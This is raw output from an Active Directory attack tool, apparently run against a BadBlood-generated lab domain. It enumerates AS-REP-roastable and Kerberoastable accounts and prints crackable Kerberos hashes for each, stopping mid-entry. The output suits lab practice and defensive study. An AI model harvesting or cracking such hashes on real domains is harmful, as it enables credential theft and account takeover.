$krb5asrep$23$DARNELL_HANSON@offsec.nl:c3da8393b1c8e6d9655daa26704b2e6f$a2034be0b4c6ed3a48fd479e9139f979747d3c34bb652c2e55114f2a8ea9324c18a5e89ec18ea960561a8fb9b4a730fc1253decff88e190103410993d9f3f872d6ef0d99b3184bdc75d81593d0075686595e1f79b11330bf5f42813bae34c6f07574495c0a7451c2323469b9777160818879861f2c20688586a76596d14cd28a3cd1fbe8cb04e5f64454794c4ccc1f740591bc26616eb4608c7e536f2f47df4091d794fa29eb23765b5640b381be806aa880e01a2cf23e59cf2df82d578dcd5592b2026b468b5fe5db56f93394f3c392b1a9b8b3db4084f3e406e59050bb54603a9584078450 Searching for ASREPRoast Users - Details for User 'DUSTY_DAVIS': sAMAccountName : DUSTY_DAVIS userPrincipalName : DUSTY_DAVIS@offsec.nl distinguishedName : CN=DUSTY_DAVIS,OU=Devices,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3413 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=OL-gladiator-distlist1,OU=Groups,OU=AZR,OU=Tier 2,DC=offsec,DC=nl CN=DO-per-admingroup1,OU=Devices,OU=ITS,OU=Tier 1,DC=offsec,DC=nl CN=BR-cas-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:07:57 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM $krb5asrep$23$DUSTY_DAVIS@offsec.nl:70f2c51ed412cf600c6a20026b4931ae$2ee2505bfa4e4e201beb7fb2389334203d601e8261ddeef8923a7fb8b53105f92ea5743201e9bf36a5ce78dd1b4939922c899783dc63e1887c43fc66b4aedb9216104f26f7a23d6ec06b3c895dfb57feded69cd6a6a1052216d184d47724925f96774c9fa41842a9431601212c7cf397d16bc99c9943094cc69b345d29a71a99a379eef3d249dff1c14adec25b95b5890c03362de77c0150821382438d66f6e9c7b89c0404f9df48a6682c76a91d956c0b8b9da454188a5d3058dd26ca2b88c7b924f70da6890f7d9b838a8b2608fb820e0eeb7f69ffbca0d8b2b31701a0360db44d5247ee82 Searching for ASREPRoast Users - Details for User 'SONDRA_PATEL': sAMAccountName : SONDRA_PATEL userPrincipalName : SONDRA_PATEL@offsec.nl distinguishedName : CN=SONDRA_PATEL,OU=T1-Accounts,OU=Tier 1,OU=Admin,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3455 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TR-200-distlist1,OU=Groups,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=MA-pendejada-admingroup1,OU=Quarantine,DC=offsec,DC=nl CN=WA-mar-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=JO-Inmaculad-distlist1,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=RA-bcu-distlist1,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:06 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM $krb5asrep$23$SONDRA_PATEL@offsec.nl:d98e2b770ba830cffbdd1799d56b940b$408188cce8ce640c5cbff521d9a0538fa17ec15bb330c7ebf7ef119f53eb92a33c8ba3c8e7db0906a77265b565088cf65904e89984ecce15a9159cee3e2cc6f9e2671c4af32ac528ec86672290c1052db919b23020df789a25ba5c5f3232894636905ee18cb2f44487e7c653598b4fa531211e31ad7df881e522cfb2ff62258322dff6b41ff3cdb0617946a54fa21afddabfc70f0a9ba180ada93a3b589e0f3dfee8407a5ecd0cbe431045f31e1842f66065e79064ca1d0f3efeaf9e7363ee2310c1cb1949f6e860d668386a40800a9108ae1552f8928eaaeb5511f9a80e6bdc63a0d61a1dbf Searching for ASREPRoast Users - Details for User 'TERRI_GAY': sAMAccountName : TERRI_GAY userPrincipalName : TERRI_GAY@offsec.nl distinguishedName : CN=TERRI_GAY,OU=Groups,OU=BDE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3484 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=TA-artu32165-distlist1,OU=Groups,OU=ITS,OU=Tier 2,DC=offsec,DC=nl CN=CL-abr-distlist1,OU=Groups,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=36-nat-admingroup1,OU=.SecFrame.com,DC=offsec,DC=nl CN=KA-amo-distlist1,OU=Groups,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=RO-nabila196-distlist1,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=offsec,DC=nl CN=DI-massari19-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=NE-harrypote-distlist1,OU=Tier 1,DC=offsec,DC=nl CN=MY-laf-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 1,DC=offsec,DC=nl CN=EL-adr-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl CN=OM-j47-admingroup1,OU=ServiceAccounts,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:13 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM $krb5asrep$23$TERRI_GAY@offsec.nl:cab8cfd9ccfb51923f3f08bb73f83db4$48d2368ae809dbb6b975eab505d373841b950a5dd8761408795d9a2883ac956e2f333eab387a0b1a9cfebe838916c1fe9aee8d007639323c7c65f31dc359ed1d59517394c621dc7875c80e73f8780512b726de4e718993c5bd5128c25c2cea39fdf7b57b56e41432c96676360c55b746066b1a4520b767d9104c7beedd3bedac251ff23f717ec5acf1f8261742cd5ca3e30ee99733b7d908367229aef288155dd004bd25ec1cef3bd049838f7e65606497c045e9bb579a51ee841d1fc4f6d893e6a6b66b0a2474b72a7631b576677ae6129b407f0abe13c151872d237ea5410d1b14a2ecb07a Searching for ASREPRoast Users - Details for User 'RODGER_REEVES': sAMAccountName : RODGER_REEVES userPrincipalName : RODGER_REEVES@offsec.nl distinguishedName : CN=RODGER_REEVES,OU=GOO,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3501 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=JU-lim0nl0v3-admingroup1,OU=Groups,OU=OGC,OU=Stage,DC=offsec,DC=nl CN=17-luismoral-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=92-lgr-distlist1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=SA-421-distlist1,OU=Unassociated,OU=People,DC=offsec,DC=nl CN=ST-vanguardi-admingroup1,OU=Groups,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=SU-youlookyo-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=CA-cyf-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=GW-orvault89-distlist1,OU=TST,OU=People,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:17 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM $krb5asrep$23$RODGER_REEVES@offsec.nl:c40c311c8a21d9f11acdb13914a3f82b$15a2a205090f7655e53d2ff65a8470da2ea85479b5ae0adec24f01e74e46617864f3fcfd5e252700b5e7bd57064423c3db66a6f61662e0d8b3f482e9ddc0db126dc69f3f981905f8169e784b659640531ff3b7cf33ee352475be40c5e709a27ca42ee52d79a6ef6d171359a93fec448a32376e6231234fdb8b0e8c993b699e32f1d4e1e4c09d40e0bc3fee096b7e4f15b3361217cb1d69c2df32947907de3e0e23719abdd330e068c03f8a9ede54990fc520f5f6b702ba339eeb05c5add20919b1cdeda09def6a6826c31aaa9b68c214aa459a86a567ef0035538eb31c7ccbfd89e41af34599 Searching for ASREPRoast Users - Details for User 'CLARICE_NELSON': sAMAccountName : CLARICE_NELSON userPrincipalName : CLARICE_NELSON@offsec.nl distinguishedName : CN=CLARICE_NELSON,OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3503 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:08:17 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM $krb5asrep$23$CLARICE_NELSON@offsec.nl:ddce1314d7a6a3688915a5fe39b61a06$f8a58f9084191a2c26725fbe9197da6a60e186f6fb887a724bc9f4186333e7ede4af7263687031c5fb8d12ceee0b7ed99c278b84e051a419fa975a6199fbc3a05dc2f744382e523aeb7c51a96ee14addc02fb216865febb39ce7db57ec06cd20731a5b0d04aef5b24302d7641dfa5abffcf1a0bb63bb59207aaf0473e39f67435a1c938a8ddf2e761178f7d28a02156d7556392aa08446e2f282b5e981c1e3d99445d573b9a3ab3b6c887aa60bcb8670315b9e4545e53b0f6338e607dad61c7915db078b31d3e195dd2dfdee3f9b28a985cdf846ff462f5ed55de18b95382ba5916a992dd8cf Searching for ASREPRoast Users - Details for User 'GARTH_PADILLA': sAMAccountName : GARTH_PADILLA userPrincipalName : GARTH_PADILLA@offsec.nl distinguishedName : CN=GARTH_PADILLA,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3521 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AL-cinthia10-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=SH-a3706723z-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=JA-104744421-distlist1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=SH-Val-distlist1,OU=Devices,OU=FIN,OU=Stage,DC=offsec,DC=nl CN=MA-44688059w-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=TH-yosoybety-admingroup1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=CE-7la-admingroup1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=SU-youlookyo-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=LO-juanchito-admingroup1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=RO-hus-distlist1,OU=Groups,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=TA-ilovepink-admingroup1,OU=Test,OU=ESM,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:21 AM lastLogonTimestamp : 2/10/2022 1:59:52 PM $krb5asrep$23$GARTH_PADILLA@offsec.nl:0a6ac9e90a120348f51f955a3b3bc677$2547fd8988fc9ea2b3ab85884e3e7199c3c83daa0467d61f4775f8a1b2338ed76fbbd21b094fc693b85254cc77d25e93bfe69f719ece52ccb75c9939a163b03d8775e8b999558e5291fd77cd3f3c9350de6711e7cf57eefad44e3ea8580df5379ccc3267a3f970de9e05648a67fe37004097b9ee681e4cc4349f58a75906cee720a703a77342ec02c4ecc1aeeaab908781907e99cae2c48342cccdff08c47e7ee15edcbfeb589427616b7a05c9755034f26b11b85d772a2ca946676a88b91849d0713e8440531be6321fb9c157f5929f8e9b84504676f897fab1178a2e9e3d97dbd284472c53 Searching for ASREPRoast Users - Details for User 'CHASITY_EATON': sAMAccountName : CHASITY_EATON userPrincipalName : CHASITY_EATON@offsec.nl distinguishedName : CN=CHASITY_EATON,OU=ServiceAccounts,OU=HRE,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3530 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:08:24 AM lastLogonTimestamp : 2/10/2022 1:59:53 PM $krb5asrep$23$CHASITY_EATON@offsec.nl:7cf633b3a45f8e1fa5550997c1eecfe1$5b11242f35608e6a0c2588a693ee2470e58779a4eda4d5cfd9bb02027da35611143846efa5b17652ef496a59119f91b0bdf6f7378b3a50aead92364b804f1765f65627532009b963f923a2286e18a49e4e9033bc31ce5abd915cd0696b10e6e74bfaf6f06226fc68d803a6fedc5257cfc19650daa1492e167971f81cea435e97757d1e0a6a3c06138f27dc3089132262a1e352f3578b10d9e4b6f07d5b4719699daab1b2adefde2444fa504d978b741d296de0492c7bc9e7112f5c3af53903dbccc49cefae645696536f5a19ee9bf651cf203473e7e167ab1ccbea17c8797995c6f041dcabbf Searching for ASREPRoast Users - Details for User 'LON_KLEIN': sAMAccountName : LON_KLEIN userPrincipalName : LON_KLEIN@offsec.nl distinguishedName : CN=LON_KLEIN,OU=ServiceAccounts,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3543 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:08:26 AM lastLogonTimestamp : 2/10/2022 1:59:53 PM $krb5asrep$23$LON_KLEIN@offsec.nl:7b22b7420b99ce987124b4137ef24f3a$5297e50d98cdc056bb8c57f66fefe8855b5af0087d31c26d3916825cf28674891ead45b654b3fd0565e56c0b1a64e321e6b508d875580935af73ea51158b999a5664b629ef10d068c29f1b2f845c2facdc271013815a5b13805139b854096d0d498a66f4348598195e47ebd8f7cd77c38b9b454d4bd62804310751c5fe3c075d915bf7849ae8545d28127ca45467de7430535d9d428f2af772283369dd8b2f4bcb2805aabd25b66907c664a6eb509b183c50edcfa76d4523429bfcdb8f965730dbecf953c02561de3993ae50a27d964b78bca2a0a483732e9207673e99c3cc6169a58d0c1666 Searching for ASREPRoast Users - Details for User 'CONRAD_BERNARD': sAMAccountName : CONRAD_BERNARD userPrincipalName : CONRAD_BERNARD@offsec.nl distinguishedName : CN=CONRAD_BERNARD,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3563 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=MA-Num-distlist1,OU=T1-Accounts,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=WI-150-admingroup1,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=TR-CAN-distlist1,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=JA-ros-distlist1,OU=BDE,OU=People,DC=offsec,DC=nl CN=CA-pin-distlist1,OU=T0-Roles,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:31 AM lastLogonTimestamp : 2/10/2022 1:59:53 PM $krb5asrep$23$CONRAD_BERNARD@offsec.nl:ed3c090ce4b2948327039f63b3991142$6cab11e90a61ef5783966fe2bf93394545328f5fddada459ea0fc158e96f2cf718d147637f89dd71c9de52d669c8ef6cab1ed6a313d8bc0fb1394c03ba44a530aa0ad0ba4900d605b0d13437f4a078366a3fe1b50375462445f359209e95b8a81cdefeac93ed56a537808ae36725b3473e68efb68543d0084b867c7783b0ca5c7b66b6c6ba30e74c87790697a129312c89255f4864f717ca0bd060e5032a03cdf0dd697ade6539940dba153908a8cceadb34329740531a93ce2c8adedf8145b8977b2ee3510544423165683558170c8a5640d771a2a2a25f4dd374bf2bcbcd60e4ca0cc2f87b Searching for ASREPRoast Users - Details for User 'VAUGHN_BRUCE': sAMAccountName : VAUGHN_BRUCE userPrincipalName : VAUGHN_BRUCE@offsec.nl distinguishedName : CN=VAUGHN_BRUCE,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3567 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 10:08:32 AM lastLogonTimestamp : 2/10/2022 1:59:53 PM $krb5asrep$23$VAUGHN_BRUCE@offsec.nl:4646955a2feeda83d0cecac6254c7812$0351081b04a24d0bc5a9c47d735c877e9e7ba0ba3caecfb290361034319bcc301907c3d36332afd7d2a4f3993ff8776561f21758e1f264227aea643646c2b86084860fd2a3bb7e897a23a4ec4ae3773b1a1bbdca025301c2b1c8271eb1604a8f9957b93dacd09e6cb4ceddc46e88480c34992f482c8dbffdde4bd091928e1a2c995b7751e2d649b651154c41a454b6d96b04ad550130db6c7ce8658d357bde511cc61e8c74d4e084a5bb39997566869c1d2249b57ef761257d28cd4c9f20a89d60e8bd6426955b017f305871ae8caad161a698568b7fd66a9b1ace09de4461a5139b3495f456 Searching for ASREPRoast Users - Details for User 'GROVER_MORENO': sAMAccountName : GROVER_MORENO userPrincipalName : GROVER_MORENO@offsec.nl distinguishedName : CN=GROVER_MORENO,OU=Groups,OU=HRE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3582 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=84-pol-admingroup1,OU=ServiceAccounts,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=FL-KOA-admingroup1,OU=Groups,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=DA-laa-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=MI-sol-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=IS-CAR-admingroup1,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:08:35 AM lastLogonTimestamp : 2/10/2022 1:59:53 PM $krb5asrep$23$GROVER_MORENO@offsec.nl:6a81f0d64bd63446c7b1ba8a2b843125$8c1627c14c27f5222cb077c6afb7e05ab3ff257b4784eeaf2a7340c8a97b831ee6f039f9a208d1315aaf437de7f4c1a5b4ab16a80d82ce2bd8b4637509254739351547b3c220c1647955bb38140a8926885acd3ae305482630f7be35309784389ee55ced8fc90b6886ae2d8c93e1c6e59561d7b362cc4da62ce852a4f4466c3fdf892cc1877b7d611f15c46c779ee2a70dac9c143834752b2b0986759fe8c11dd6f9fc02b9ab80b97748435535ece058f8b665356fee28ace5d070326d8cd98163311906dbef4149c7f1fda88d4589109b075e1e54c1ea95e0dd51fcf3e5473ca2b9d7f7acc4 Searching for Kerberoastable Users - Details for User 'WESTON_WEBB': sAMAccountName : WESTON_WEBB userPrincipalName : WESTON_WEBB@offsec.nl distinguishedName : CN=WESTON_WEBB,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-3045 userAccountControl : NORMAL_ACCOUNT memberOf : CN=TA-YOM-distlist1,OU=TST,OU=Stage,DC=offsec,DC=nl CN=CO-com-distlist1,OU=Devices,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=MA-her-distlist1,OU=ServiceAccounts,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=HA-now-admingroup1,OU=Test,OU=FIN,OU=Tier 1,DC=offsec,DC=nl CN=MI-290-admingroup1,OU=Deprovisioned,OU=People,DC=offsec,DC=nl CN=NO-soc-distlist1,OU=Test,OU=AWS,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:06:31 AM lastLogonTimestamp : $krb5tgs$23$*WESTON_WEBB$offsec.nl$CIFS/OGCWSECS1000000*$C87A878E6174B331350817D3F4204089$98CB660BD28DE041D21796D8ECE1E6A036B1ACDF8235C6A4727F777215F0C45BD76092283AF95FC6AC04EDBB7644AE9C9FE450D014327254A79D3ED7F0BBA3BD0E6A3A3D0C24190F97F08BF0F9438E4CA3FF6383A353FE23D1AE7C152381BE7B7F24418D291E6CA52F36B32D6BF6E24800519EC886F0A7824347C78D3A8FC00B737D5FD5854A6B862AA828F8F613DA368838230433F50DD77498BE83C21AB251B1B2442C7FB52A48CB7979432F0002B41D16B4B9A52F1325B08AAEB2A8CFCAFB939BB76051C6C9371AF1EFD03826A5CB79810B96A8BCA54B5BA7ADF42906431D3B3F33CC08150F17A73A9341952B803BD5240B5D499C2D3F0FAAB26D64C3A20EE435EA156D9B20A87EC3D73566A46973931D3B6C3A7D3E375AFF5D1140CDD7835B22B8A66206B1D737B3F8C458533C71F9BE12AD8AA4FCDDC18F5069CC8B4B5357F0E0A0EE250BAB3176C4D752FC06B7F92AEC0E71351041312F18F516D53ED49030D32B17D9E7536D2B5ADAC5FC9611CC7331769BE7F9EBF4F3AEFD7BBCB43D98CB6C93DCFEEF5C4B8999EA5707E7103093FD72D23A8D216EB8C12933506E6D3363F2DDA38DA4800C3C196EFB2B21DE6F4098E121168036AD157D8D90573F26CBA07A42DCAA287154B8DA2CB026DBAAD5FE36CAB40A4E261B3D7BCF215015E8B90FFBAC497D6802E384D8D0A8D10115A258836C1E74E6BD48E33FFDF1DED0C690D5B02774AB6891C7D81930ABB2E63712EDE25AF8626197C1DB727F091B952C0DAC828B826A7A97013B7B3E4D385DB9406270C235E1E67A45069E4D92F32162033C8648B948961C697F0DC9DEB894DAE503952E58BD09044B473BFE40A1B4962D8C58BD5F5DD8C9FBCCB44BCEF9A6BFC05FCD269DC339213BB278FB096B11364A23852B3930797DC9E0200C835757F9922E9E646B3659F34A13E4B9E61B6782E265B4516341DAACE579B58FB7CE9E301DE19BC4D28042BF6044B316007FC1D1DB6E8D7EDE6C85E65CB62AD1AEA378C50FAABA29332E83EE49C429BE7ECAE8B9AE58AD08E6F6E247C95E558A8343F17974C702A60FD469BC84E36372277F87F1879209FE78A14973CA0E50439541C087B41D2CBAC22BD590B8E9FC589ECE95C4E2ADC50E684ACFBD3A7B367C53442C6038BDE00193F496290FE96E64EA5898A3F92F35D36FF31FD9C2D8E03965B4A0DC8AF733DAC3930F4F6B12A7192DCDD8A8C7E0555F7CE6B79D3843177027D88F013C809AA587CD03FE543B2A9FB1E1168DFC024221F8AFF1CAE40451F763F4C6263A4E4259B86C1F99974C16F6457043065632158825FAA8DAF8E35AC0A51E4D33AA74A1D46466F6943F00B6A552418B10C8FFCF7EC59BA302F373EE345BF5B4939A554E5325EECF1AAF32F3DD439FA61221F4ECAB1444902F2D97D1908673887E8E73 Searching for Kerberoastable Users - Details for User 'RODRIGO_COLLINS': sAMAccountName : RODRIGO_COLLINS userPrincipalName : RODRIGO_COLLINS@offsec.nl distinguishedName : CN=RODRIGO_COLLINS,OU=Domain Controllers,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2775 userAccountControl : NORMAL_ACCOUNT memberOf : CN=WY-ple-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=TR-catalina2-distlist1,OU=Devices,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=JO-173173173-admingroup1,OU=ServiceAccounts,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=GR-par-distlist1,OU=Devices,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=JA-derivados-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:29 AM lastLogonTimestamp : $krb5tgs$23$*RODRIGO_COLLINS$offsec.nl$CIFS/OGCWWKS1000000*$DE3A1B9459B44B296B1C7C136D9E927C$46B64165ED1FBF3DFCAF5F438E14252C7C200CF7A74B8A713EAED753A64248B19B7FAE78A73E57431A2D2A3C3A478A7E1F590CA7D8959F532AC8EB4B68E1D452AAB6A911A8841EDBB7171DEF03EFDED2E58F8783F06493A413273A66F937835B2A34B22B77C31881064AA2C58F63A487CE940EBACCC1EA35FE2640293CC08E0F1FC5B62DB82BE3691C4097F873C402C6089395A573A6850666EC53B26EB5DE917505313FC2D4220478A696BE19BC506A78449BE12D6175C19041FD770D938C60D8D8E31C5F9D271F84978F3AB15688755D0B4D4294AFCFE3CC74A164DF19348E0A6F4AD0809369EDFC585F62EA4AD4EE4B79692C801E472AD44F58059982AEF8251744EB32CE7019C100A1502C6E634CADF5F7B22D61B179C5006AC401E71D6EAA0A29C2967CDBB636987C222B8CA212C0AA139322EB53C7281250585C9D95CBFAEB7BCC6664BC8B19E24D05B841E89CA697E9FDB0D90CABC26A0E89EBCFB5018BA5C3DE939FCDD42A162EA342C92CB309F53078C5018F3CFDB947F75DB27C0ABCDCE17D055FC6E9064507ABA77708EC7FC2D30D34883A516ED46B4A13637283041A51C8957FB7BBBEB5F207E21ECE0DD16336DC45D19EF202B9078C7C61F02F09626ED7248B6E844A4F1B3C8E446C2154E33D97B114C5BA4CCA0ED66CC0AFD3D3FA8A891456300761D24DA50CA1A7D6EB633474854813917936BAD9C378C92F2B7A5E8B282EE30FF9951B46CE0AD4876D48B8FA54688BC9E41753AF5722AF1F94897AB99E1F5D4819BF236C62763C5816C1AC8C985B55C0A218D7C55390F61CA77BDDE80E8C8AF2A1EDBB0B0CB146914E096C8FA8FE450364A52F74F6166C112C9F20BBCF48EE20CAFA3F86A32C7848FF717C001C917A90912E2B7DA8892A06BC66923DA1BFF21210EC2F970D935FECDC9C2820ADDF7404AA4E1E092BFEC5125FDF1F69F4C5B3611EB68A272BC838E3629F27DCC7DC31B31FFA17E29FC3925EE643E1CAC7286FD0F920E9FD272EB276115D1BDA9B0F0E95D8542449A3231C3848B3AD5BDB31B2BDD2FC2BFCE09B61FC21934861672A0C1749D4452607AB040ECBD4B78A990C36FFD115D27B4A93EC6FAEB70F70C9AB0D863E331C36B58492933D70D1A32B77C9E2229850188D9528A8F643DD977C63DB539110AAFD3D8893D68AA15B895F0AA654EE5DEC48D795D749EF9AD94554BDFF804AACD8B000FFF633C5AAC0CD39995B7507BA67BF560A499F1A051C3562055A61FDD515D87B7503010E893AA7C231283DF6D5CDA33FD628F13756EF97FE43778B514FAFF0AC5E412D5B26A03BA1441942C584423EBCC7823BC9349CBBF35BEB4C3B28C0FA7CF9F39C1A3764E00C0F94DDC82702D7C93BB46AF56EB8AE3245A0905F831FBE3148943302E056428587C86C1F2505D99104313530B5 Searching for Kerberoastable Users - Details for User 'GRACIE_CRANE': sAMAccountName : GRACIE_CRANE userPrincipalName : GRACIE_CRANE@offsec.nl distinguishedName : CN=GRACIE_CRANE,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-2909 userAccountControl : NORMAL_ACCOUNT memberOf : CN=OL-AMOR14ETE-distlist1,OU=Devices,OU=GOO,OU=Tier 1,DC=offsec,DC=nl CN=HO-126-distlist1,OU=FIN,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 10:05:59 AM lastLogonTimestamp : $krb5tgs$23$*GRACIE_CRANE$offsec.nl$ftp/AZRWAPPS1000000*$2B26C8D0400BE04385B69A97884A3B6B$642348A5C92F129A71098240377330C7112653415AB673BD41212425B16BA7681C2E68B91751A5554546715A4E516390D1BF4E24799190B67AAB014042EE871BDCB4728B741C740AE64E1083C4E7C325BBA7AC01B5AF25B1ED3C160D6B3843EF8669C78009C78F52FD23282C46F6D663CCCAFFAB7CB441E49285B5A8D827FC015FFE14D4B9146229397D6778E2498E7BD456F544CA85A427CA74B7E81A526CC97E09778DB4AE035C5ABE7BAECE40589BD3C3E6F6019DE7A33AE37D48013F89675D4D4CD765803E6EE93121D5071640E58C06141EADF98A04AEBDA0B836133255383FB91FD3E26C3C5A179B5701E70405FC601CA5AEAB80F659A4EACFF56F453C8ABDA8CA0D6928514A0B6C8C97B0222465F9E60C526FB9F0B07E73018CD0DA1C0658970DD39AFF7A64BFD4051E6696549B264A2295540B582DCE058DC56D4226A0A51C7562C490D11ECC675E00820E9381BEEC27C10E6716043EBCFA343AA62E198D7F706D134BFF810C79DA378FA168F371DC2BABBF3BF60CAECB142F54286CB2C7CAEBF0888C36D13446781CCD864FC4C274E0B3C56F3B021271F7FC8F573308E1AB11683280795BFA29AB349CF58E21A0737A2F0E178BD385DCA90015FDAC5A7C1C791828AEFB149D15950ADEF63E5B0DD9E4AAAD00753A40605003D665125A6256A08AE1D88C51A3467CF28BFB15B4A454F49C21B4E13CC97BD1434403DEF4C9483C1AAE590E85455E19FBBBCA0A17ACF97277855B3BD7D9D80F7D6F783692CDC959C80F79F97BC7B731085CC869491A97D5ABA3213F099EBBB5DF20417698A4033C8FCAFE63AE2B4DFD97A187ECCCB5F7AD730AFD641A6ED958BA026663CC1370751D90A76FF47AC11E8B6DFBEF2178E3A74CF54A2D998B863A840F8E68B113ED4C05F257B53FEE46F1AC24BF992F2E74DC4BD8ECCF3B205C4E26DCF55E4BAC2F762E1F19267E8706FA5C660988ACD371ACF693DB59F54A3040164308F12472AE185928A0ADA2ECB43252DEAD97A7561AE133C79CB7877464D205E610275A2A28B6D2D8AF9C4BBE154743D4A725F4ACE773A8ED002B7AA41D0B611C3B44E18F6D72A87B27992E3007E5BE1A522AC29513982461FDD516EAF1B3764240323C895559400FBC4FD251EA5E33FE485311852132023D1DCC84C18DBA8422F9E4B822018E878C019666EF562FB2520325DEF6DC769B6929E0DD03457AEA3A8352C6CCD4A41B5DE7D8D74E75F22A6CF053A75F23F102250EF0E913FC3D9932A9D194A1873B441DE1B0356BA4AA5D136433FF300CFF6844F1A82521195F6176C7107790F13D40388D3C56A2062840445D9B060982C8FBDE277C2744F0E9546711F7FB43269852C735253D225B48E937C505E530176CDEBBDCBCB4B8C36237E4FF700F15FE76E04DF05478263C1D72E482E78BD7 Searching for Kerberoastable Users - Details for User 'BRADFORD_MCLEOD': 